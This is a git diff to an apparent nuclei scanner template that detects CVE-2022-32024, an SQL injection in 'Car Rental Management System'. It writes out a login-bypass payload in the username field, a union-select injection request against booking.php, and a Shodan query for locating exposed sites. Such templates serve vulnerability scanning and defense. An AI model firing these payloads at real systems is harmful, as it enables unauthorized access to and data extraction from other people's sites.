diff --git a/cves/2022/CVE-2022-32024.yaml b/cves/2022/CVE-2022-32024.yaml index aa215c7038..2a7cb8bd47 100644 --- a/cves/2022/CVE-2022-32024.yaml +++ b/cves/2022/CVE-2022-32024.yaml @@ -12,6 +12,7 @@ info: metadata: verified: true shodan-query: http.html:"Car Rental Management System" + comment: Login bypass is also possible using the payload- admin'+or+'1'%3D'1' in username. tags: cve,cve2022,carrental,cms,sqli,authenticated variables: @@ -19,17 +20,18 @@ variables: requests: - raw: -# Login bypass possible using a payload: admin'+or+'1'%3D'1' in username. - | POST /admin/ajax.php?action=login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded + username={{username}}&password={{password}} - | GET /booking.php?car_id=-1%20union%20select%201,md5({{num}}),3,4,5,6,7,8,9,10--+ HTTP/1.1 Host: {{Hostname}} + skip-variables-check: true cookie-reuse: true matchers-condition: and matchers: